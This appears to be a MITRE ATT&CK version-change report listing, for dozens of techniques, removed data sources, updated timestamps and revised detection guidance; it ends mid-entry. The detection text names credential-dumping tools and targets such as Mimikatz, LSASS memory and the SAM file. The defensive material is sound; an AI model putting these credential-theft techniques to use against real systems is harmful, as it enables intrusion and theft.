x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1003] OS Credential Dumping

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution', 'Active Directory: Active Directory Object Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:53:37.617000+00:002025-10-24 17:48:22.201000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detection### Windows +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. + +Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. + +On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. + +Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + +Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) + +### Linux +To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.

[T1499.001] Endpoint Denial of Service: OS Exhaustion Flood

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:53:56.462000+00:002025-10-24 17:48:23.935000+00:00
x_mitre_detectionDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

[T1027] Obfuscated Files or Information

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['WMI: WMI Creation', 'Script: Script Execution', 'File: File Creation', 'Module: Module Load', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Metadata', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:59.251000+00:002025-10-24 17:49:15.265000+00:00
x_mitre_detectionDetection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). + +Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) + +Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. + +The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

[T1588] Obtain Capabilities

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Certificate: Certificate Registration', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content', 'Malware Repository: Malware Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:54:16.100000+00:002025-10-24 17:49:24.545000+00:00
x_mitre_detectionConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

[T1218.008] System Binary Proxy Execution: Odbcconf

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:01.231000+00:002025-10-24 17:48:55.622000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.

[T1137] Office Application Startup

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Application Log: Application Log Content', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:54:32.990000+00:002025-10-24 17:48:34.614000+00:00
x_mitre_detectionCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. + +Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) + +Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

[T1137.001] Office Application Startup: Office Template Macros

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:54:50.299000+00:002025-10-24 17:48:59.432000+00:00
x_mitre_detectionMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)

[T1137.002] Office Application Startup: Office Test

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:55:04.029000+00:002025-10-24 17:49:34.588000+00:00
x_mitre_detectionMonitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) + +Consider monitoring Office processes for anomalous DLL loads.

[T1102.003] Web Service: One-Way Communication

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:30.432000+00:002025-10-24 17:49:08.849000+00:00
x_mitre_detectionHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1137.003] Office Application Startup: Outlook Forms

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:55:18.800000+00:002025-10-24 17:49:12.562000+00:00
x_mitre_detectionMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1137.004] Office Application Startup: Outlook Home Page

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:55:34.415000+00:002025-10-24 17:49:18.872000+00:00
x_mitre_detectionMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1137.005] Office Application Startup: Outlook Rules

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Application Log: Application Log Content', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:55:47.125000+00:002025-10-24 17:48:41.026000+00:00
x_mitre_detectionMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1134.004] Access Token Manipulation: Parent PID Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution', 'Process: Process Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:18.203000+00:002025-10-24 17:49:06.759000+00:00
x_mitre_detectionLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) + +Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.

[T1550.002] Use Alternate Authentication Material: Pass the Hash

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.508000+00:002025-10-24 17:49:32.459000+00:00
x_mitre_detectionAudit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. + +Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)

[T1550.003] Use Alternate Authentication Material: Pass the Ticket

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:43.927000+00:002025-10-24 17:48:59.861000+00:00
x_mitre_detectionAudit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. + +Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)

[T1110.002] Brute Force: Password Cracking

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:11.912000+00:002025-10-24 17:48:29.397000+00:00
x_mitre_detectionIt is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

[T1556.002] Modify Authentication Process: Password Filter DLL

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:56:08.743000+00:002025-10-24 17:48:39.067000+00:00
x_mitre_detectionMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. + +Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)

[T1110.001] Brute Force: Password Guessing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:04.272000+00:002025-10-24 17:48:21.929000+00:00
x_mitre_detectionMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

[T1555.005] Credentials from Password Stores: Password Managers

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Access', 'Process: OS API Execution', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:56:22.300000+00:002025-10-24 17:48:36.347000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionConsider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. + +Consider monitoring file reads surrounding known password manager applications.
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1201] Password Policy Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:00.168000+00:002025-10-24 17:49:15.781000+00:00
x_mitre_detectionMonitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.

[T1601.001] Modify System Image: Patch System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:09.178000+00:002025-10-24 17:49:26.083000+00:00
x_mitre_detectionCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) + +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

[T1574.007] Hijack Execution Flow: Path Interception by PATH Environment Variable

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:05.096000+00:002025-10-24 17:48:22.736000+00:00
x_mitre_detectionMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1574.008] Hijack Execution Flow: Path Interception by Search Order Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Modification', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:33.873000+00:002025-10-24 17:48:49.665000+00:00
x_mitre_detectionMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +

[T1574.009] Hijack Execution Flow: Path Interception by Unquoted Path

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'File: File Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:56:46.356000+00:002025-10-24 17:49:19.228000+00:00
x_mitre_detectionMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1120] Peripheral Device Discovery

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:22.038000+00:002025-10-24 17:48:37.563000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1069] Permission Groups Discovery

Current version: 2.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Group: Group Metadata', 'Command: Command Execution', 'Application Log: Application Log Content', 'Group: Group Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:56:59.585000+00:002025-10-24 17:48:26.378000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)

[T1566] Phishing

Current version: 2.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:55.739000+00:002025-10-24 17:49:11.351000+00:00
x_mitre_detectionNetwork intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. + +Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. + +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

[T1598] Phishing for Information

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:08.689000+00:002025-10-24 17:49:24.096000+00:00
x_mitre_detectionDepending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. + +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

[T1647] Plist File Modification

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:57:13.867000+00:002025-10-24 17:49:00.573000+00:00
x_mitre_detectionMonitor for common command-line editors used to modify plist files located in auto-run locations, such as \~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. + +Monitor for plist file modification immediately followed by code execution from \~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist. + +Identify new services executed from plist modified in the previous user's session.

[T1556.003] Modify Authentication Process: Pluggable Authentication Modules

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
